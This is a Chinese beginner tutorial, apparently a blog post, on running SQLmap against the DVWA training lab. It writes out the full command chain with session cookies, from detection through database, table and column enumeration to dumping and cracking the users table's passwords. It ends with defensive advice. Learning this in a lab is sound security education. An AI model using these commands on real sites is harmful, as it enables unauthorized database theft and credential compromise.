【Web应用安全】SQLmap实战DVWA SQL注入(从环境搭建到爆库,完整步骤+命令解读)
新手必看!SQLmap实战DVWA SQL注入(从环境搭建到爆库,完整步骤+命令解读)
刚学网络安全时,我对着“SQL注入”一脸懵——知道它能偷数据库数据,却不知道从哪下手,SQLmap命令记了又忘,靶机和Kali连不通更是常事。后来才发现,SQL注入实战根本不用死磕复杂原理,用SQLmap自动化工具,跟着步骤点一点、输命令,就能从靶机里扒出用户名密码。今天就把这份“零门槛”的SQL注入实验思路拆透,以DVWA靶机为例,从环境准备到爆库成功,每一步都带截图和命令解读,新手跟着做就能上手!
SQL 注入是什么?
SQL 注入是 Web 安全领域最常见、危害极大的漏洞之一,简单说就是:黑客把恶意的 SQL 语句伪装成正常用户输入,骗网站服务器执行,进而偷取、篡改甚至删除数据库数据,严重时还能控制整个服务器。
用生活化的比喻理解:网站的数据库就像一个带锁的文件柜,SQL 语句是 “开锁 + 取文件” 的指令,用户输入本应是 “要取的文件名”(比如 “用户 1 的信息”)。但如果网站没做输入过滤,黑客就可以输入 “取文件 A;把所有文件都给我”(恶意 SQL),网站会把这句话完整当作指令执行,直接泄露所有数据 —— 这就是 SQL 注入的核心逻辑。
SQL 注入有什么危害?
偷取敏感数据:获取数据库里的用户名、密码(比如之前实验中用 SQLmap 扒出的 dvwa 用户表)、手机号、银行卡号等;
篡改数据:修改订单金额(比如把 100 元改成 1 元)、篡改用户权限(把普通账号改成管理员);
删除数据:执行DELETE FROM users删除整个用户表,导致网站瘫痪;
控制服务器:通过高权限数据库账号,执行系统命令(比如查看服务器文件、上传木马),完全接管网站服务器。
一、先搞懂:实验要做啥?核心逻辑是啥?
1. 实验目标
在Kali Linux里用SQLmap工具,对DVWA靶机的SQL注入漏洞发起攻击,最终获取数据库中的用户名和密码(比如dvwa库的users表)。
2. 核心逻辑(大白话版)
DVWA靶机的“SQL Injection”模块有漏洞,提交数据时会把用户输入直接拼进SQL语句执行。我们用SQLmap工具,带着登录凭证(Cookie)去访问这个漏洞页面,让工具自动探测漏洞、枚举数据库、提取数据,全程不用手动写复杂SQL语句。
3. 实验准备(缺一不可!)
- 两台虚拟机:
- ①Kali Linux(自带SQLmap);
- ②OWASP靶机(含DVWA环境,提前开启Apache和MySQL服务);
- 网络要求:Kali和靶机在同一网段(比如都设为NAT模式,确保能互相ping通);
- 前期准备:登录DVWA,把安全等级设为“Low”(新手先从低安全等级入手)。


二、核心工具解读:SQLmap到底能干啥?
不用记复杂原理,记住SQLmap的“核心功能”就行:
- 自动化探测:判断目标URL有没有SQL注入漏洞,支持GET/POST等提交方式;
- 数据库枚举:列出所有数据库、表、列(比如查dvwa库有哪些表,users表有哪些字段);
- 数据提取:把表中的数据扒出来(比如users表的用户名和密码,还能自动解密MD5);
- 支持多种注入方式:布尔盲注、时间盲注、报错注入等,不用手动选,工具自动适配。
SQLMap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。-
- 堆查询注入,可以同时执行多条语句的执行时的注入。
一句话总结:SQLmap是SQL注入的“全自动挖掘机”,只要告诉它目标地址和登录信息,它就能自己挖数据。
三、详细步骤:从登录到爆库,一步不差!
步骤1:开启环境,获取漏洞URL
- 启动靶机的Apache和MySQL服务(比如在靶机终端输
service apache2 start和service mysql start); - 打开Kali的浏览器,访问DVWA地址(比如
192.168.75.100/dvwa),登录账号密码(默认admin/admin); - 左侧菜单选“SQL Injection”(SQL注入模块),随意输一个数字(比如1),点“Submit”提交;
- 复制浏览器地址栏的URL(比如
http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#),这就是漏洞URL(GET提交方式,参数id是注入点)。

步骤2:获取登录Cookie(关键!不然SQLmap会被拦截)
SQLmap需要带着登录凭证才能访问DVWA的漏洞页面,Cookie就是凭证:
- 在当前浏览器页面按F12打开开发者工具;
- 选“Storage”(存储)→“Cookies”,找到“PHPSESSID”和“security”的值(比如
PHPSESSID=ni3gsltihh60r1q50tiu4518p3,security=low); - 把两个值拼起来,格式是
security=low;PHPSESSID=xxx,复制备用。

步骤3:用SQLmap探测漏洞,确认数据库类型
- 打开Kali的终端,输入命令(替换成你的URL和Cookie):
sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ni3gsltihh60r1q50tiu4518p3" --batch - 命令解读:
-u:指定漏洞URL;--cookie:带上登录Cookie,避免被DVWA拦截;--batch:自动选择默认选项,不用手动按Y/N;
- 运行后,SQLmap会自动探测,最后提示“back-end DBMS is MySQL”(后端数据库是MySQL),说明探测成功。

步骤4:枚举所有数据库
想知道靶机有哪些数据库,输入命令(复用URL和Cookie):
sqlmap -u "漏洞URL" --cookie="你的Cookie" --batch --dbs
--dbs:列出所有数据库;- 运行结果会显示5个数据库(dvwa、information_schema、mysql等),我们重点关注
dvwa(DVWA的专用数据库)。
步骤5:枚举dvwa库的所有表
知道了数据库,下一步看里面有哪些表,命令:
sqlmap -u "漏洞URL" --cookie="你的Cookie" --batch -D dvwa --tables
-D dvwa:指定要查询的数据库是dvwa;--tables:列出该数据库的所有表;- 结果会显示2个表:
guestbook(留言板)和users(用户表),我们要扒的是users表。

步骤6:枚举users表的所有列
知道了表,再看里面有哪些字段(比如用户名、密码),命令:
sqlmap -u "漏洞URL" --cookie="你的Cookie" --batch -D dvwa -T users --columns
-T users:指定要查询的表是users;--columns:列出该表的所有列;- 结果会显示8个列,重点关注
user(用户名)和password(密码,MD5加密)。

步骤7:提取user和password列的数据(最终目标)
最后一步,把用户名和密码扒出来,命令:
sqlmap -u "漏洞URL" --cookie="你的Cookie" --batch -D dvwa -T users -C "user,password" --dump
-C "user,password":指定要提取的列是user和password;--dump:下载(提取)这些列的数据;- 运行后,SQLmap会自动提取数据,还会把MD5加密的密码解密(比如
admin的密码5f4dcc3b5aa765d61d8327deb882cf99会解密成password),最终显示用户名和明文密码,爆库成功!

四、新手必避3个坑(我踩过的错,你别犯!)
- Kali和靶机连不通:确保两者在同一网段(比如都设为NAT模式),用
ping 靶机IP测试,不通就检查防火墙(关闭靶机的ufw防火墙:ufw disable); - Cookie输错或过期:Cookie里的PHPSESSID会过期,要是SQLmap提示“302跳转”,就重新登录DVWA,再获取一次Cookie;
- DVWA安全等级不是Low:高安全等级会拦截SQL注入,一定要在DVWA的“DVWA Security”里设为“Low”。
五、总结:SQL注入的核心逻辑与防护思路
- 核心逻辑:网站没有过滤用户输入,导致恶意SQL语句被执行,进而泄露数据库数据;
- 防护建议:
- 输入过滤:对用户输入的特殊字符(比如
'、or、and)进行转义; - 预编译SQL:用参数化查询,不直接拼接用户输入和SQL语句;
- 最小权限:数据库账号只给必要权限(比如查询权限,不给删除、修改权限);
- 定期审计:用工具扫描网站漏洞,及时修复。
- 输入过滤:对用户输入的特殊字符(比如
